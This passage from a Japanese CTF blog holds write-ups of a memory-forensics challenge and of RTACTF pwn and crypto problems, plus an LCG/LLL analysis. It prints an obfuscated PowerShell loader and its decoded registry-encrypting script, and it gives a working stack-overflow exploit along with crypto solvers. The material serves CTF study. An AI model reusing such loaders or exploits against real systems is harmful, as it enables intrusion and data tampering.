gA4AHIAeQB3AEsAeQBYAHAAMQB2AFIATwBoAFEAbgBJADgAbQBZAGUAYwArADUAbgBnAEwATQArAHAASQBWAGIATgBkADkAaQB0AEgAQgBJAEwAbwBVAHcAMABOAE4AVABWAGsAOABIADcAdgBkAHUAbwBqAHAAbABzAEkASgBVAGgAYQBpAEsAZwBmAG4AUABTAGUAaAB0AFoAZAAyAGUAMgAzAFkAcwA2ADEAdAB4AFcAUgBEAG4ASwB6ADMAVgBxAGwAUABZAHEAKwA5AHAAawBDAEcAbwA0AHQASQBWAGcAKwBEAEwAYQBnADEAUABYADMAbwBKAGcAdgBNAC8ANgAvAFoAUgBnAGYAWgBBADQAcQA3AGoAdwBBADIARgBGAFUASABmAHYANwA4AEoALwAyAG4AaQBLAEIAWABSAFEAdgB1AHAAZABmAGoAVABuAFIAcgBtAFcAVQBJADEASABFADMAVABXAFIAdQBEAHIARgAxAHMAZgBHADIAUgBaAE4AMQBoAE4AOQBWAGcAYQBkAFEANQBXAEkAKwBxAHcAcgAxAFoAWQBWAGkAYwBKAFUANgAvAHoAWgBPAFkAMABVAFcAMABUAEsAbQBaAEQAZwBDAFEAbQB0ADMAeABpAGYAUgBTADAAeQBMAHUAVABnAHcAVgBqAFgAWgBEAHIAWQA2AFYAdwBiAFkAeABLAE8ATQBkAEIAOQArAG0AVQBOAGkAMgBUAE8AagBmAHoASgBwADgANwBPAFkAMgByAHgAVgBQAGgATAB1AGwAbwBPAE8AbgBKAHEASQBhADgAZQBXADIAegBUAHIAdABjAGIARgBFAFgAdgBRACsAMQBOAFUASwA1AFcAUwA3AFMAKwB4ADIAVgBYAFIAVgBIAHAAUgBaAEkAOAAxAHAAUgBQADIAbAByADEAawBiADkAUQA4AFAANQBoAHIAMQBTAG4AZgByAGMANwBUAGkAMAA2AHUATgBNAHAAMQA2AFcANwBmAHQAagBzAEEAbAAzAEsAWABuAFgATABFAG0AYgBYADQAVgA4ADQAdAByAEEAMwBWAGYAKwAyAHMASwBFAG4AagBHAC8AYgB3AHEAeABhAGkAUgBKAHkAaABiAE0AYQB4AHoANQBSADMAdgB2AHoAVQBmAGQAUwAyAFMAOQBVAEsAUwAzAGQATABOAFAAWgBLAFUATwBLAGIAQwBMAGIAVgBMAEcAaQBXAHAASABkAEkARwBiADAARwBDAE4AaQA2AFcAOAA5AEwANQBLAGQAcgBXAE8AZgBLADkAKwB1AEEARgB2AFgAQwB0AEgAbQBUAGoAbwBZAHgANQBzAHMAOQBSAEwAOQBvAGcAOQArAEwAUABwAC8ARABHADYAcQBYAFcANwAyAHUARgBYAFAAcwBuAGcAbAAwAEgAbwBjAFMASwBrAE4AaQBOAEQAUQBUAFAASgBhAE8AYQBvAEUAYQBrAFoAQwBpAHoANABPAHYAOQAzAGkAWABtAGoAQgBaAE4AOABxADgAegBjADkAcgBlADgAbgBvADUARgBXAHIAbgBSAG4AbwBtAE4AZQBZACsARAB6AE0AUABhAFAASQA0ADAAdQAyAEYAUwB3AFYAQwB6AEMAawBqAFQAUAA2AEoARwBWAG4AcgBmAGkAMAA0AGYARgBrAHUARgAvAE0AYwBJADQAOQBwAEcALwBTAHQAMQBnAGkAQQA4AEIAYgArADEAOQB4ADkAOAArAEIAdQBnAFgAOQA1AFEAMQBqAEwAMwA2ADIAZABDAEMAdABMADUAMgBLAFcAQQA5AGQANABuAFMAUQBkAHAAbABXADAAdgBOADgAbwAwAEwAQQBCAFgAVAB0AEYASQArADMAUQBZAGgAWgB4AFgAVQB4AEUAcAB0AEcAVwA2AEMAMgBjAHAAMgBQAE0AYgBLAEUAMQBaAEIAYwA5AFoASAByAG0AZQBGAE0AeAB6ADAANgBNAEIAUQA1AEEAMgB2AEsAcQBGAHoAVgB3AEYAbgBqAHEAawBaADIAawBlAEcAQwBxAHAAdgBLAGEAaABsAE0AdgBNAC8AJwApACAALAAgAFsAcwBZAFMAdABFAE0ALgBJAE8ALgBjAG8AbQBQAHIAZQBzAHMAaQBvAG4ALgBjAE8AbQBwAFIAZQBTAHMASQBvAE4AbQBPAGQAZQBdADoAOgBEAGUAQwBvAG0AcAByAEUAUwBTACkAfAAlAHsAIABOAEUAVwAtAG8AQgBqAEUAQwB0ACAASQBvAC4AUwB0AFIARQBBAE0AUgBlAGEAZABFAFIAKAAgACQAXwAgACwAWwB0AEUAeAB0AC4AZQBuAEMATwBEAGkATgBnAF0AOgA6AGEAUwBDAEkASQApACAAfQAgACkALgByAGUAYQBEAHQAbwBFAE4ARAAoACkAIAA=
5536    winpmem_mini_x  winpmem_mini_x64_rc2.exe  memory.raw

　PID 2068 にめっちゃ怪しい base64-encoded なデータが・・・

　そこで、これを cyberchef で decode します。UTF-16LE っぽい文字列になるので、これも続けて decode します。

　さてまたまた怪しげなものが。。。base64 decode した結果をさらに deflate して実行するような命令です。ですので、この bae64-encoded の部分を decodeし、さらに inflate （Raw Inflate）して中身を確認します。

　可読性の悪いスクリプトっぽい文字列が出てくるので、ここから先は Powershell で「動的解析」することにしました。具体的には、この中から payload に当たる部分（iex の引数に該当する部分）を抜き出して実行させます*13。

　結果は以下の通り（7行目のif～）。コンピュータ名が「RICSEC」のときに何かの命令を実行するスクリプトのようです。

　この条件が真だった場合に行われる処理について、前と同様に、payload 部を抜き出し解析を続けます。

　結果は以下の通り。日付が 4 月 1 日だったときに何かの命令を実行するスクリプト*14のようです。

　もう少しだけ同様の作業を進めます。

　結果は以下の通り。そろそろ手作業で出来そうな感じになりました。

　少し手作業で可読化を進めてみます。

if((Get-Date).Month -eq 4 -and (Get-Date).Day -eq 1) {
  Set-Item  ('Variable:s9qik1') ( [Type]("System.Text.Encoding"));
  ${B}=(&('gp') ("HKCU:\Software\Microsoft\CTF")."fiend";
  ${K}= $s9qik1::Ascii.GetBytes.Invoke("f1bb3r");
  for(${i}=0; ${i}-lt${B}.length; ${i}++){
    ${B}[${i}] = ${B}[${i}]-bxor${K}[${i}%${K}.length]
  }
  ${A}= New-Object("System.Security.Cryptography.AesCryptoServiceProvider");
  ${Sh} = New-Object("System.Security.Cryptography.SHA256Managed");
  ${U} = New-Object("System.Text.UTF8Encoding");
  ${H}= ${sh}.ComputeHash(${U}.GetBytes.Invoke(${K}));
  ${A}.key = ${H};
  [byte[]]${iv} = 0..15;
  ${A}.iv = ${iv};
  ${e} = ${A}.CreateEncryptor.Invoke();
  ${ed} = ${e}.TransformFinalBlock.Invoke(${b}, 0, ${b}.length);
  ${ed};
  &('sp') ("HKCU:\Software\Microsoft\CTF") -Name ("fiend") -Value ${ed};
}

　レジストリの「HKCU:\Software\Microsoft\CTF」キーの「fiend」サブキーにあるデータ（フラグ）を暗号化する処理のようです。

　まずは、暗号化後の値をメモリダンプから抽出します。

「vol -f memory.raw windows.registry.printkey --key "Software\Microsoft\CTF" --recurse」の結果

Volatility 3 Framework 2.4.2
Progress:  100.00               PDB scanning finished                        
Last Write Time Hive Offset     Type    Key     Name    Data    Volatile

-       0x850e68a85000  Key     ?\Software\Microsoft\CTF        -               -
-       0x850e68a5b000  Key     ?\Software\Microsoft\CTF        -               -
-       0x850e68b32000  Key     ?\Software\Microsoft\CTF        -               -

（中略）

2023-04-01 08:44:57.000000      0x850e6e280000  REG_BINARY      \??\C:\Users\User\ntuser.dat\Software\Microsoft\CTF     fiend   "
39 da 2a 85 c9 5b 42 17 9.*..[B.
84 11 d8 23 3b 0b f2 0e ...#;...
26 8c 95 89 ff e6 f1 7e &......~
4b f8 43 42 d0 24 37 70 K.CB.$7p"       False
-       0x850e6dcd2000  Key     ?\Software\Microsoft\CTF        -               -


（後略）

　「39 da 2a 85 c9 5b 42 17 9 84 11 d8 23 3b 0b f2 0e 26 8c 95 89 ff e6 f1 7e 4b f8 43 42 d0 24 37 70」という32バイトのデータであることが判明しました。

　続いて先の可読化したスクリプトを精査すると、暗号化方式は AES、キーは「f1bb3r」の SHA256 ハッシュ（32バイト）、iv は 0x0~0x15 が順に並んだバイト列（16バイト）であることが分かります。ただし、AES 暗号化の前で「f1bb3r」をキーに xor 処理が入っていますので注意が必要です。

　これらを踏まえ、復号スクリプトを以下のように作成し*15、PowerShell 上でて実行します。

Set-Item  ('Variable:s9qik1') ( [Type]("System.Text.Encoding"));
${C} = 57,218,42,133,201,91,66,23,132,17,216,35,59,11,242,14,38,140,149,137,255,230,241,126,75,248,67,66,208,36,55,112
${K}= $s9qik1::Ascii.GetBytes.Invoke("f1bb3r");
${A}= New-Object("System.Security.Cryptography.AesCryptoServiceProvider");
${Sh} = New-Object("System.Security.Cryptography.SHA256Managed");
${U} = New-Object("System.Text.UTF8Encoding");
${H}= ${sh}.ComputeHash(${U}.GetBytes.Invoke(${K}));
[byte[]]${iv} = 0..15;
${A}.key = ${H};
${A}.iv = ${iv};
${d}=${A}.CreateDecryptor.Invoke();
${pt}=${d}.TransformFinalBlock.Invoke(${C}, 0, ${C}.length);
for(${i}=0; ${i}-lt${pt}.length; ${i}++){
  ${pt}[${i}] = ${pt}[${i}]-bxor${K}[${i}%${K}.length]
[System.Text.Encoding]::UTF8.GetString($pt)

フラグ

RicSec{6r347_90w3r!}

　ちなみに、このフラグを submit した時刻は手許の時計で 13:37 でした。イェイ！

5. 解けなかった問題

　競技中に解けた問題は上のもので全てです。一時期はランク一桁まで行ったので、波に乗って解き続けたかったのですが、そう甘くはありませんでした。実際、最後にフラグを submit したのが 16:36 で、その後の 5 時間半は

　【心の声】まだだ、まだ終わらんよ。　

　とつぶやきながら、ひたすら時間（と体力）を溶かしていました。

　なお、チャレンジして解けなかったのは以下の 4 つです。

• dice-vs-kymn
  　有限体上の楕円曲線をベースとした問題で、Crypto 問というより数学問といった方が良さげな問題でした。「Math」を名乗っている以上、解く必要があったのですが解けませんでした！この問題を唯一人解いたチョコラスクさん（@nuo_chocorusk）に対しては、リスペクトのお気持ちMAXです。

• RsLocker
  　Forensics 問を解いた勢いでチャレンジしようと思いつつ、 他の問題を優先して結局途中放棄になってしまいました。・・・ぶっちゃけて言うと、動的解析しててデスクトップが虚無った（※プログラムの想定動作です）ため心がポキっと折れました。サーセン。

• tinyDB
  　solve 数が多かったのでどうにか行けるかと思ったのですが、ダメでした。「ダイナミック系のゲームはそもそも苦手だし、Webも苦手分野だったので。」という言い訳をしていると、「歯ぁ喰いしばれ！そんな大人、修正してやる！！」とカ●ーユのパンチが飛んできそうなので*16これ以上は黙っておきましょう。

• gatekeeper
  　base64のハック問で、先頭・末尾・中間に「====」を入れるなど悪あがきしたのですが、全く刺さりませんでした。

6. おわりに（お気持ち表明）

• 嬉しい😄😄😄：forensics 全完！…って、出題されたのは1 問だけですけど、ヨシ！
• 悔しい😣😣😣：dice-vs-kymn が解けなかった！この「お礼」は必ずいつか作問で！
• 大反省😞😞😞：tinyDB を落とした！ひたすら反省！

次回も・・・もちろん出ますので是非開催をお願いします！

*1:総帥兼プレイヤー "Edwow Math" からなるソロチームです。

*2:虚無っていた時間を多々含みます。

*3:それって、まんま「CTF」じゃん！？

*4:終盤にはちゃんと修正されていたので👏👏👏

*5:フラグが投稿されたチャンネルを明示している点が親切です。

*6:ルールを読み飛ばして「地雷」を踏まないよう、CTF 慣れしてきたら特にしっかり読むよう心掛けた方が良いです。

*7:バイナリエディタ。https://gitlab.com/devill.tamachan/binaryeditorbz/-/releases

*8:バイナリ解析の定番ツール。https://hex-rays.com/ida-free/

*9:サーバ上で/imagesから見た相対パス

*10:実際には、0でなければ OK。先の適当なデータ（\x00以外）を0x101バイトにしても可。

*11:Crypto Player 必携の数式処理システム。https://www.sagemath.org/

*12:定番のメモリフォレンジックツール。https://github.com/volatilityfoundation/volatility3

*13:この手のヤバいものを解析する場合は stand alone マシンの VM 上でやりますが、今回は特に気を遣わずやっています。

*14:エイプリルフールかよ！と思ったのは内緒です。

*15:処理の内容が分かっていれば競技中に可読化する必要はないですが、復習するときに可読化した方が良いかと思います。

*16:もちろん「これが若さか！」と涙ぐみながら吹っ飛ばされることになります。

RTACTF 2023 参戦記（観戦＋"市民ランナー枠"参加）

1. はじめに

　2023/3/21 15:00 JST ～ 2023/3/7 18:30 JST(?) に開催された「RTACTF 2023 春」に（プレーヤーもしくは走者と呼ばれる「招待選手枠」ではなく、「市民ランナー枠」で）参加しました。

　想定時間内で解けた問題はゼロしたが、自力で解けたのが pwn 1問、crypto 3問でした。前回は crypto 2問のみでしたので、多少は進歩したのでしょうか。おそらく、お気楽な気持ちでやったのが功を奏したのでしょう。いずれにしても、「招待選手枠」だったらおそらく1問も解けなかったと思います*1。

　以下、簡単にではありますが、参戦記を残したいと思います。

2. 参加までの経緯

　経緯としては、おおむね以下のような感じです。

• 3/18（土）Twitter の TimeLine から開催の旨を知る。
• 3/19（日）Compassで参加を表明。
• 3/20（月）朝4:00頃までWolvCTF 2023 をやっていてフラフラだったので、夜早めに寝た。
• 3/21（火）スコアサーバへ登録。チョコレートを食して Warmup。

　久しぶりにチョコレートを食したことと、気候が春めいてきた関係でテンションが上がり*2、当初は『pwn は観戦、crypto は息が切れるまで run』の予定でしたが、「RTA な ので易しめの問題も出るだろう」と予想して『pwn は解けなくなったら観戦に移行、crypto は息が切れるまで run』という方針に変更しました。

　crypto は前回 RSA 問が出たので、今回は ECC / ECDSA か DSA あたりかと踏んで準備を進める一方、AES-GCM とかその周辺も怪しいと警戒をしていましたが、結局始まってみないと分からないので、準備は程々でオシマイとしました。

3. pwn

　結果的には最初の 1 問のみを自力で解き、2 問目の途中であきらめて観戦へ移行しました。

　※以下、ソルバとフラグのみを示します。問題の内容については、配信 RTACTF 2023 春 - YouTube を参照してください。

3.1 before-write（目標：300 sec、実績：384.57 sec）

　シンプルかつ易しい stack-based buffer overflow 問でした。セキュリティ機構も甘々なので、リターンアドレスを win 関数のアドレスに書き換えるだけで OK となります。

　以下の exploit を実行し、ローカルで成功することを確かめた後、リモートで繋ぎました。

from pwn import *
import sys

addr = 0x4011B6

if 'remote' in sys.argv:
    r = remote('redacted,' redacted)
else:
    r = process('./chall')

buf = b'A' * (0x20+ 8)
buf += p64(addr)
r.sendline(buf)
r.interactive()

下から2行目は sendlineafter(b"value: ", buf) 等とすべきなのでしょうが、通ってしまったのでヨシとします。

RTACTF{sizeof_is_a_bit_c0nfus1ng}

4. crypto

　crypto は 自力で 3 問解きました。

　※pwn 同様、ソルバとフラグのみを示します。問題の内容については、配信 RTACTF 2023 春 - YouTube を参照してください。

4.1 XOR-CBC（目標：480 sec、実績：621.98 sec）

　（AES とかではなく）XOR を CBC モードで実行するような暗号化関数が定義されており、それによる暗号化結果が与えらられます。 　 　キーが求まれば復号可能ですが、もちろんキーは与えられません。

　しかし、キーの長さは 8 バイトで、フラグは「RTACTF{」で始まるので、1 バイト分を総当たりすればどうにか出来そうです。

　以下のソルバを実行して 95 個の候補を出し、その中から「目 grep」でフラグを見つけました。

from pwn import xor

p64 = lambda x: struct.pack('<Q', x)
u64 = lambda x: struct.unpack('<Q', x)[0]

KEY_SIZE = 8

ct = bytes.fromhex("6528337d61658047295cef0310f933eb681e424b524bcc294261bd471ca25bcd6f3217494b1ca7290c158d7369c168b3")

def decrypt(ciphertext, key):
    iv, ciphertext = ciphertext[:KEY_SIZE], ciphertext[KEY_SIZE:]

    plaintext = b''
    for i in range(0, len(ciphertext), KEY_SIZE):
        c_block = ciphertext[i:i+KEY_SIZE]
        p_block = p64(u64(iv) ^ u64(c_block) ^ u64(key))
        plaintext += p_block
        iv = c_block

    return plaintext.rstrip(plaintext[-1:])

iv = ct[:KEY_SIZE]

_pt = b"RTACTF{"
for i in range(0x20,0x7f):
  pt = _pt + chr(i).encode()
  key = xor(xor(pt, iv), ct[KEY_SIZE:KEY_SIZE*2])
  print(decrypt(ct, key))

RTACTF{1_b0ugh7_4_b1k3_y3s73rd4y}

4.2 Collision-DES（目標：720 sec、実績：1811.70 sec）

　DES のキーサイズは 56bit ですが、渡しているキーは 64 bit です。そこに Collision のヒントがあるわけですが、それに気づくまで時間を浪費してしまいました。

　「どの bit がどのように切り捨てられるのか」分からなかったので、色々試行錯誤して回り道をしてしまいましたが、以下のソルバのようにやってみたら成功しました。結果オーライです*3。

import telnetlib
from pwn import xor

HOST = "redacted"
PORT = redacted

def readline():
  return tn.read_until(b"\n")
  
def sendline(s):
  return tn.write(s.encode() + b"\n")

tn = telnetlib.Telnet(HOST, int(PORT))

key1 = bytes.fromhex(readline().strip().decode().replace("Key 1: ",""))
key2 = xor(b"\x01" * 8, key1)

print(key2)
sendline(key2.hex())
print(readline())
print(readline())
tn.close()

RTACTF{The_keysize_of_DES_is_actually_56-bit}

4.3 （目標：1080 sec、実績：3269.13 sec）

　これは、CFB モードの動きをちゃんと理解しておらずハマったもので、16 バイトずつのブロックではなく 1 バイトずつ処理されることに気づくまでの時間ロスが多大でした。to_send にフラグの判明分を仕込んで送信、暗号化結果（enc2）に対して xor(xor(enc1,enc2),to_send.encode()) すれば to_send で送った次の文字が判明するので、to_sendを都度手動で書き換えて「}」が出現するまで実行しました。

from Crypto.Util.number import *
import telnetlib
import gmpy2
from pwn import xor

HOST = "redacted"
PORT = redacted

def readline():
  return tn.read_until(b"\n")

def readuntil(s):
  return tn.read_until(s.encode())

def sendline(s):
  return tn.write(s.encode() + b"\n")

tn = telnetlib.Telnet(HOST, int(PORT))

enc1 = bytes.fromhex(readline().strip().decode())
to_send = "RTACTF{name_it_AES-SDGs}0000000" #<=試行の都度ここを書き換えていく
readuntil("> ")
sendline(to_send)
enc2 = bytes.fromhex(readline().strip().decode())
print(xor(xor(enc1,enc2),to_send.encode()))
tn.close()

RTACTF{name_it_AES-SDGs}

　「SDGs」は草*4。

5. 感想

　Symmetric Cipher つらいっす*5。

6. おわりに

　RTA はめっちゃ苦手ですが、元気なら次回も参加します*6！！

7. 追記（3/22 7:20）

　運営の皆様、ランナー（招待/市民）の皆様、観戦した皆様、お疲れさまでした＆ありがとうございました。

*1:ですので、「走者」の皆様には多大なる敬意を表します。

*2:冬場はほぼ「死に体」です。そのうち「お前、熊かよ！」と突っ込まれても致し方ないと覚悟しています。

*3:「pycryptodome の実装を見るのとどちらが速いのか」というところですが、コードを書くのも読むのも遅いので、試行錯誤するのが近道であった可能性は大です。

*4:実際に「SDGs」を標榜しながら為されていることの中にも、この設問で行われている「key、ivの使いまわし」のような「ナンセンス」が多々あるので、良い皮肉となっています。

*5:古典暗号はもっと辛いっす。

*6:もちろん、「市民ランナー枠」で。

2022年の振り返りと2023年への抱負

1. はじめに

　あっという間に2022年が終わり、2023年になってしまいました。なので頑張ろうと思います。

2. 2022年の振り返り

2.1 ざっくり何をやってきたか

　とりあえず、四半期ごとに何をやったか振り返ってみます。

• 1Q

　例年通り（？）ゆるやかにスタートして、DiceCTFやzer0pts CTFどをボチボチ楽しみながらやっていました。

• 2Q

　DEF CON CTF Qualsはダンゴ*1、SECCON Beginnersは辛うじてCryptoを全完するも、他の分野がボロボロでした*2。

• 3Q

　順位的にはCrypto CTFで自己ベスト*3でしたが、良かったのはここまでで、8月には「辛いCTF」が2日続いて*4メンタルがボロボロに。また、Cake CTFにはスポンサーとしての参加もさせていただきました*5。

• 4Q

　私事いろいろあって、そこそこガッツリとプレイできたのはASISくらいでした。また、TSG Live CTFが開催されたのが心の救いでした。他方、「魔女のお茶会」に登壇するなど、面白い経験をいろいろさせていただきました。関係各位に感謝します。

• 総合評価（ざっくりと）

　「進捗出てない説もあるけど、総じて楽しかったのでとりあえずヨシ！」

2.2 目標は達成できたか？

• Crypto戦力の大幅UP

　僅かながらも戦力はupしたと思いますが、カバーできていない領域が広がったというのが実感です*6。なお、「CryptoHackの全完」を掲げましたが、新問追加もあって残念ながら未達となっております*7。

• AI や 量子コンピュータなどの「常識」を習得する

　こちらは進捗ゼロでした。そういえば、Crypto分野の「常識」がかなり怪しいので、まずそっちからですね。

• バランス良くいろいろ楽しむ

　CTF 出場をやや無理気味に強行したことが何度かあって、結果的に他の趣味でのイベントを欠場するなど、メリハリが付けられなかった点が悔やまれます。やはり「何かを犠牲にする」のは総じて良くない事です。十分に時間が取れない場合は「問題をDLしてupsolve」と割り切るのも手なのかもしれません。

• 総合評価（目標到達度）

　「お世辞にも合格とはいい難いが、落ち込んでいる暇などないからとりあえずヨシ！」

3. 2023年に向けて

• Crypto分野の堅実な戦力UP

　まずは、解けなかった問題のupsolveに注力します。気持ち的には、「出たCTFのWriteup/Upsolveは必ず出す」くらいの勢いですね*8。

　また、場当たり的ではなく体系的に、Crypto分野の知見を増やしたいです。

　さしあたり、耐量子計算機暗号や「たくさん集めてLLLする」問題などが苦手なので、そのあたりから特訓を開始します。

• メリハリをつける

　CTFは楽しいですが、私生活（ライフワークや他の趣味）を犠牲にするのは良くありません。無理はしない、ダラダラやらない、といったところに留意しながら活動してゆきたいです。

• 新しいことにチャレンジする

　「失敗するから」「実力が伴わないから」という理由で何かを躊躇するのは、もうやめることにします*9。

　具体的には、これまでマトモな作問はしたことがないので、何かの折に作問デビューできればと思っています*10。

*1:0点のことです。

*2:特にRevが壊滅だったのは痛かったです。

*3:23位/421チーム

*4:1日目：サーバが落ち運営がトンズラ。2日目：多くを語れないが、問題がカス。

*5:なお、Cryptoを全完する意気込みで挑みましたが、結果は「ケーキのみを全完」でした。

*6:悲観はしていなくて、(カバーできていないことが明らかになったのは進歩だと思っています。

*7:新問が追加されるのは良いことだと思っています。

*8:実際にできるかどうかは別ですが。

*9:昨年の4Qからそうすることに決めました。ひょっとしたら、自分に残された時間は「ごく僅か」なのかもしれないのですから。

*10:勉強も兼ねて、何らかの記念日にプチCTFでも開ければ…

Xbitの値Y個からmod(2^Z)のLCGにおける乱数予測する（分析編）

1 はじめに

チームN30Z30N総帥、Edwow Mathです。

CTF Advent Calendarの昨日（19日目）の記事は、Satoooonさんの「 CTFTime APIで取得したデータを眺める」でした。APIでデータ取れるのは知りませんでしたが、いろいろ面白い結果が出ているようです*1。

この記事は、CTF Advent Calendar 2022 の20日目の記事であり、「Xbitの値Y個からmod(2^Z)のLCGにおける乱数予測する（実験編）」の続編です。

なお、これらの記事はいずれも、kurenaifさんによるyoutube動画「【17兆通り】4bitの値20個からJavaの乱数予測をする【kurenaif】」の視聴をきっかけとした考察ですので、動画未見の方にはご視聴を強くお勧めします*2。

www.youtube.com

2 推測できること

「実験編」での結果から、次のことが推測できます。

• リークするビット数（X）が多いほど成功する（まぁ、そりゃそうだ）。
• リークする数（Y）が多いほど成功する（まぁ、そりゃそうだ）。
• X=2の時の結果はX≧3の時と比べて極めて芳しくなく、Yを増やしても失敗する確率が高い。*3

上の二つはある意味当たり前なので、さほど面白くありません。しかし、最後のはちょっと興味深く感じました。

3 疑問点

さらに、「実験編」の結果から想いを巡らせてみたとき、以下のような疑問を持ちました。

• X、Y、Zと「成功率」との間にある関係は?
• aやbの選び方によって、「成功率」は変わるのか？*4
• 初期値の選び方によって、「成功率」は変わるのか？
• そもそも「失敗」するのは何故なのか？

これらを細かく見ていくと同人誌が出来そうな気がするので、今回は深入りはせず*5、最後の疑問について少し掘り下げて考えてみることにしました。

4 考察

aとbを適当に*6固定し、元ネタの動画と同じX=4、Y=20、Z=28で考えることにします。

以下のようなSageMathのコードを実行してみます。

#random number prediction
import random
from Crypto.Util.number import *

results = []
ROUND=100

class LCG:
  def __init__(self, a, b, m, seed):
    self.a = a
    self.b = b
    self.m = m
    self.state = seed
  def next_state(self):
    self.state = (self.a * self.state + self.b) % self.m
  def get_bits(self, s, t):
    self.next_state()
    return self.state >> (s - t)

s = 48
t = 4
u = 20
a = 0x5DEECE66D
b = 0xB
m = 2^s
success = 0
hit = 0
bad = 0

for cnt in range(ROUND):
  seed = cnt + m//2
  lcg = LCG(a, b, m, seed)
  leaks = []
  for i in range(u):
    x = lcg.get_bits(s, t)
    leaks += [x]
  Y = vector(ZZ, [leaks[i+1] - leaks[i] for i in range(u-1)])
  A = matrix.identity(ZZ, u-1)
  for i in range(u-1):
    if i == 0:
      A[i,i] = m
    else:
      A[i,0] = -1 * a^i
  L = A.LLL()
  K = vector(ZZ,[round(w / m) for w in 2**(s-t) * L * Y])
  E = ~L * (m * K - 2**(s-t) * L * Y)
  X = E + 2**(s-t) * Y

  var('x')
  cands = solve_mod((a-1)*x == (int(X[0])-b), m)

  _seed = 0
  cand_seed = []
  for cand in cands:
    cand = cand[0]
    lcg = LCG(a, b, m, cand)
    check = [cand>>(s-t)]
    for i in range(u-1):
      check.append(lcg.get_bits(s,t))
    if check == leaks:
      cand_seed += [(cand - b) * inverse(a, m) % m]
      break
  if seed in cand_seed:
    if len(cand_seed) == 1:
      success += 1
      print(f"success:{seed}")
    else:
      bit += 1
      print(f"hit:{seed}")
  else:
    bad += 1
    print(f"bad:{seed}")
  print(f"{cnt+1}/{ROUND}")
print(f"result:s={s}, t={t}, u={u}: {success}/{ROUND}, hit={hit}, bad={bad}")

結果は前回のように概ね70/100くらいで成功となるのですが、失敗時には「候補は出るけど全部ハズレ」ではなく、そもそも「候補が出ない」ものばかりでした。

念のため何回か繰り返してみましたが、結果は変わらず。

つまり、「solve_mod( (a-1)*x == (int(X[0])-b), m ) の解がないときに失敗」ということになります。

a-1 は 4で割り切れ、8で割り切れないので、(X[0])-b が 4で割り切れないときには失敗となります。

それでは、なぜそうなってしまうのか。失敗するケースにおいては、LLLの行列の作り方を再検討する余地があるのかもしれません。

5 おわりに

…と、ここで時間切れとなってしまったので、続きはまたの機会に*7。

時間を取って、もう少し調べてみる必要があるようですので。

さて、CTF Advent Calendarの明日（21日目）の記事は、れっくすさんの「CTFプレイヤーにアンケート取ってなんかやりたくない？（結果編）」です。私もアンケートには回答しているので、結果が楽しみです。

*1:開催数が右肩上がりなのは素晴らしいことですし、競技あたりのチーム数が減っているのは人口減少なのか、問題が難化していて得点を獲得できるチームが減っているせいなのか、興味深いところです。

*2:この動画以外にも、面白い動画が盛りだくさんです！

*3:なので、X=1は試行すらしていません。

*4:もちろん、明らかに計算がうまくいかないものは除外して考えます。

*5:あくまで「今回は」です。自由な時間が出来たら深入りしますよ。

*6:kurenaifさんのコードと同じくa=0x5DEECE66D、b=0xBとしました。

*7:ゴメンナサイ。